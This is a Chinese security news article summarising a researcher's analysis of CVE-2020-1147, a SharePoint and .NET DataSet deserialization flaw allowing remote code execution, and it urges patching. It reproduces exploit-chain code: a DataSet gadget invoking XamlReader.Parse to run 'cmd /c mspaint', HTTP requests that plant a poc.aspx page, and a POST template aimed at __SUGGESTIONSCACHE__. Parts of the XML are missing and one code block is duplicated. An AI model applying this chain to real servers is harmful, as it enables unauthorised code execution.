比 Windows DNS 蠕虫漏洞更严重!SharePoint 反序列化RCE漏洞详情已发布,速修复

 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

安全研究员 Steven Seeley 发布文章,详细分析了 CVE-2020-1147 漏洞的根因以及低权限用户如何可在易受攻击的 SharePoint 服务器上远程执行任意代码。

01

马上修复

该漏洞是一个严重漏洞,CVSS评分为9.8分,影响微软SharePoint,增加了未修复系统遭攻击的风险。该漏洞还影响.NET Framework Visual Studio。微软已在本月星期二补丁中推出了安全更新。

该漏洞是由于未能检查XML 文件输入的来源标记引发的,可导致攻击者在负责XML 内容反序列化进程的上下文中运行任意代码。

Seeley在博客文章中说明了创建执行系统命令和滥用控制的全部步骤。分析旨在帮助了解底层技术。虽然该文章可被用于构建完全起作用的攻击脚本,但并未给出可用于部署攻击的exploit

尽管如此,相关组织机构应当优先应用该补丁。微软对它的可利用性评估是:CVE-2020-1147是对于威胁行动者而言具有吸引力的目标,可被一直利用。

Seeley在文章中指出,微软将该漏洞的可利用性指数评级评为1,和我们的想法一致。也就是说你应该立即打补丁。该工具链非常有可能被用于攻击基于.net 的多个应用程序,因此即使你并未安装 SharePointServer,但仍然受影响。

谷歌Project Zero 安全研究团队的主管Ben Hawkes 认为该漏洞带来的风险甚至超过更为人所知的Windows DNS 蠕虫漏洞。他指出,实证反序列化RCE 遭恶意利用的可能性远比修复前未遭在野利用的内存损坏漏洞的杀伤力大。

这个漏洞是由三名安全研究员独立发现的,他们是Micro Focus Fortify 公司的研究员Oleksandr Mirosh、微软Office 安全团队成员 Jonathan Birch以及Markus Wulftange

02

详细分析

微软在安全指南中提到的如下相关安全指南引起了Seeley 的注意:

如果导入的 XML 数据包含的对象类型不在列表中,就会抛出一个异常。反序列化操作失败。把XML加载到现有的 DataSet DataTable 实例中时,还需要考虑现有的列定义。如果表已经包含某自定义类型的列定义,那么在 XML 反序列化操作过程中,类型就会被临时添加到允许列表中。

Seeley指出,其中的关键信息是很可能指定对象类型并覆写列定义。先来看下如何创建DataSet 对象。

1

理解 DataSet 对象

DataSet包括含有 DataColum (s) DataRow (s) Datatable。更重要的是,它执行了ISerializable 接口,意思是可通过XmlSerializer 进行序列化。首先我们来创建一个DataTable

       static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
      
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
      
            // make a row and set an object instance and append to the table
            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
      
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }    

使用WriteXmlSchema 方法,写出schema 定义,代码如下:



  
    
      
        
          
            
              
            
          
        
      
    
  

分析 DataSet 代码发现,它暴露了自身使用WriteXml Read Xml 的序列化方法(通过XmlSerializer 封装):

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

现在需要做的就是将表添加至dataset 并进行序列化:

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

这些序列化方法保留了模式类型,并在运行时使用实例化XmlSerializer 对象图中的单个DataSet 预期类型,重构了受攻击者影响的类型。

2

DataSet 工具

如下示例说明了可被构造的工具,但它和ysoserial 中的DataSet工具不同:


  
    
      
        
          
            
              
                
              
            
          
        
      
    
  
  
    
      
        
          
          
            Parse
            
              cmd/c mspaint ]]>
            
            
          
        
      
    
  

这个工具链将会调用不包含任何接口成员的Type 上的任意静态方法。Seeley 使用臭名昭著的XamlReader.Parse 加载恶意Xaml执行系统命令。他使用 ExpandedWrapper 类加载两种不同的类型。

它可用于多个sink 中,如:

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);

很多应用程序认为DataSet 是安全的,因此即使预期类型无法被 XmlSerializer 直接控制,但DataSet 一般用于对象图形中。然而,最有意思的 sink 是用于触发代码执行的DataSet.ReadXml

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");

4

用于 SharePoint 服务器

ZDI-20-874 的相关安全公告中提到了Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet 控制,它可被用于实现远程代码执行。由于其类名称中具有名称(DataSet),因此立即引起Seeley 的注意。我们来看下 SharePoint 的默认web.config 文件:

   
        
        
        
        
        
      

在控制标记下,我们可以看到Microsoft.PerformancePoint.Scorecards 命名空间中并不存在前缀。然而,如果我们检查下 SafeConrol 标记,就会发现列出了命名空间允许的所有类型。


  
  
    
      
    ...

也就是说我们可以实例化该命名空间的类,先来看下检查 ExcelDataSet 类型的代码:

namespace Microsoft.PerformancePoint.Scorecards
{


  [Serializable]
  public class ExcelDataSet
  {

首先注意到的是,它是可序列化的,因此它实际上可被实例化为一个空值,而默认的构造函数将被未以 System.Xml.Serialization.XmlIgnoreAttribute 属性标记的公开setter调用。SharePoint 使用 XmlSerializer 从控制创建对象,因此在攻击者提供的代码的任何地方都能流入 TemplateControl.ParseControl,就能利用 ExcelDataSet 类型。

其中一个突出的属性是DataTable,因为它包含一个公开的 setter并使用类型 System.Data.DataTable。然而,进一步分析发现,Xmllgnore 属性被使用,因此无法通过该 setter 触发反序列化。

[XmlIgnore]
public DataTable DataTable
{
  get
  {
    if (this.dataTable == null && this.compressedDataTable != null)
    {
      this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
      if (this.dataTable == null)
      {
        this.compressedDataTable = null;
      }
    }
    return this.dataTable;
  }
  set
  {
    this.dataTable = value;
    this.compressedDataTable = null;
  }
}

虽然如上代码披露了部分答案,但 getter 使用 compressedDataTable 属性调用 GetObjectFromCompressedBase64String。该方法将解码所提欧共的 base64,解压二进制格式化 payload 并调用 BinaryFormatter.Deserialize。然而,代码包含反序列化的预期类型,其中一种就是 DataTable,因此我们无法在此处填充一个生成的 TypeConfuseDelegate

    private static readonly Type[] ExpectedSerializationTypes = new Type[]
    {
      typeof(DataTable),
      typeof(Version)
    };

检查下 CompressedDataTable 属性,我们可以看到设置 compressedDataTable 成员没有问题,因为它使用的是 System.Xml.Serialization.XmlElementAttribute属性。

[XmlElement]
public string CompressedDataTable
{
  get
  {
    if (this.compressedDataTable == null && this.dataTable != null)
    {
      this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
    }
    return this.compressedDataTable;
  }
  set
  {
    this.compressedDataTable = value;
    this.dataTable = null;
  }
}

组合之后,就能显示一个前缀并实例化含有通过 base64编码、压缩和序列化但危险的 DataTable 的控制:

PUT /poc.aspx HTTP/1.1
Host: 
Authorization: 
Content-Length: 1688


<%@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>

显然,我们无法找到触发 DataTable 属性getter 的方法。虽然知道需要一种方法使用 DataSet 但却不知道如何做。

4

条条大路通罗马

Seeley 表示,到这一步后非常令人沮丧。之后想起 DataSet.ReadXml sink 也是问题的一个来源,因此在此检查了代码后发现了合法的代码路径:

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
  Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

ContactLinksSuggestionsMicroView 类中可以看到 GetDataSet 方法:

protected override DataSet GetDataSet()
    {
      base.StopProcessingRequestIfNotNeeded();
      if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
      {
        return null;
      }
      DataSet dataSet = new DataSet();
      DataTable dataTable = dataSet.Tables.Add();
      dataTable.Columns.Add("PreferredName", typeof(string));
      dataTable.Columns.Add("Weight", typeof(double));
      dataTable.Columns.Add("UserID", typeof(string));
      dataTable.Columns.Add("Email", typeof(string));
      dataTable.Columns.Add("PageURL", typeof(string));
      dataTable.Columns.Add("PictureURL", typeof(string));
      dataTable.Columns.Add("Title", typeof(string));
      dataTable.Columns.Add("Department", typeof(string));
      dataTable.Columns.Add("SourceMask", typeof(int));
      if (this.IsInitialPostBack)                                                                                      // 2
      {
        this.PopulateDataSetFromSuggestions(dataSet);
      }
      else
      {
        this.PopulateDataSetFromCache(dataSet);                                                                  // 3
      }
      this.m_strJavascript.AppendLine("var user = new Object();");
      foreach (object obj in dataSet.Tables[0].Rows)
      {
        DataRow dataRow = (DataRow)obj;
        string scriptLiteralToEncode = (string)dataRow["UserID"];
        int num = (int)dataRow["SourceMask"];
        this.m_strJavascript.Append("user['");
        this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
        this.m_strJavascript.Append("'] = ");
        this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
        this.m_strJavascript.AppendLine(";");
      }
      StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
      dataSet.WriteXml(stringWriter);
      SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
      return dataSet;
    }

[1]处,代码检查该请求是一个 POST 回发请求。为确保这一点,攻击者可以设置 POST 变量 __viewstate,之后在[2]处,该代码会检查设置了POST 变量__SUGGESTIONSCACHE__。如果设置了,则 IsInitialPostBack getter 将会返回假。只要该 getter 返回假,那么攻击者就可以到达 [3]处,到达 PopulateDataSetFromCache。该调用将使用以具体图式定义创建的一个 DataSet

    protected override DataSet GetDataSet()
    {
      base.StopProcessingRequestIfNotNeeded();
      if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
      {
        return null;
      }
      DataSet dataSet = new DataSet();
      DataTable dataTable = dataSet.Tables.Add();
      dataTable.Columns.Add("PreferredName", typeof(string));
      dataTable.Columns.Add("Weight", typeof(double));
      dataTable.Columns.Add("UserID", typeof(string));
      dataTable.Columns.Add("Email", typeof(string));
      dataTable.Columns.Add("PageURL", typeof(string));
      dataTable.Columns.Add("PictureURL", typeof(string));
      dataTable.Columns.Add("Title", typeof(string));
      dataTable.Columns.Add("Department", typeof(string));
      dataTable.Columns.Add("SourceMask", typeof(int));
      if (this.IsInitialPostBack)                                                                                      // 2
      {
        this.PopulateDataSetFromSuggestions(dataSet);
      }
      else
      {
        this.PopulateDataSetFromCache(dataSet);                                                                  // 3
      }
      this.m_strJavascript.AppendLine("var user = new Object();");
      foreach (object obj in dataSet.Tables[0].Rows)
      {
        DataRow dataRow = (DataRow)obj;
        string scriptLiteralToEncode = (string)dataRow["UserID"];
        int num = (int)dataRow["SourceMask"];
        this.m_strJavascript.Append("user['");
        this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
        this.m_strJavascript.Append("'] = ");
        this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
        this.m_strJavascript.AppendLine(";");
      }
      StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
      dataSet.WriteXml(stringWriter);
      SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
      return dataSet;
    }
At [1] the code checks that the request is a POST back request. To ensure this, an attacker can set the __viewstate POST variable, then at [2] the code will check that the __SUGGESTIONSCACHE__ POST variable is set, if it’s set, the IsInitialPostBack getter will return false. As long as this getter returns false, an attacker can land at [3], reaching PopulateDataSetFromCache. This call will use a DataSet that has been created with a specific schema definition.


    protected void PopulateDataSetFromCache(DataSet ds)
    {
      string value = SPRequestParameterUtility.GetValue(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
      using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
      {
        xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
        ds.ReadXml(xmlTextReader);                                                                              // 4
        ds.AcceptChanges();
      }
    }

PopulateDataSetFromCache 中,代码调用 SPRequestParameterUtility.GetValue,从请求变量 __SUGGESTIONSCACHE__ 中获得受攻击者控制的数据,并将其直接解析到 ReadXml 中。通过攻击者提供的 XML 图式覆写之前定义的图式,而[4] 处发生不可信类型的反序列化,从而导致远程代码执行的后果。为触发这个漏洞,Seeley 使用ContactLinksSuggestionsMicroView 类型创建了一个页面:

PUT /poc.aspx HTTP/1.1
Host: 
Authorization: 
Content-Length: 252


<%@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>

如果以低权限用户身份且在禁用AddAndCustomizePages 设置的情况下利用该 bug,则很可能以实例化 InputFormContactLinksSuggestionsMicroView 控制的页面方式利用该 bug,因为它扩展自 ContactLinksSuggestionsMicroView

namespace Microsoft.SharePoint.Portal.WebControls
{


  [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
  [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
  [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
  [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
  public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
  {

Seeley 发现的两个端点(未经测试)如下:

1.     https:///_layouts/15/quicklinks.aspx

2.     https:///_layouts/15/quicklinksdialogform.aspx

如要利用该 bug,则可以在新构造的页面执行 post 请求:

POST /poc.aspx HTTP/1.1
Host: 
Authorization: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 


__viewstate=&__SUGGESTIONSCACHE__=

5

需注意的点

由于 ISSwebserver 模拟作为 IUSR 账户而该账户对注册表的访问权限有限,因此无法使用 XamlReader.Load 静态方法。如这样做,则会以栈追踪结束,除非禁用了 IIS 下的模拟并使用应用池身份:

{System.InvalidOperationException: There is an error in the XML document. ---> System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. ---> System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
   at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue)
   at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
   at MS.Utility.EventTrace..cctor()
   --- End of inner exception stack trace ---
   at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader)
   at System.Windows.Markup.XamlReader.Parse(String xamlText)
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
   at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
   at System.Data.XmlDataLoader.LoadData(XmlReader reader)
   at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
   at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
   at System.Data.DataSet.ReadXml(XmlReader reader)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
   at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)

因此,需要使用其它危险的静态方法或从不使用接口成员的类型调用setter。有兴趣的读者可自行尝试。

更多详情请见:

https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html

 

 

 

 

推荐阅读

多个黑客组织正在攻击微软 SharePoint 服务器

【缺陷周话】第 38期——不安全的反序列化:XStream

严重的 Windows DNS RCE漏洞 SIGRed PoC 已现身,微补丁发布

原文链接

https://www.bleepingcomputer.com/news/security/critical-sharepoint-flaw-dissected-rce-details-now-available/

https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    点个 “在看” ,加油鸭~

你可能感兴趣的:(java,安全,zookeeper,nginx,jvm)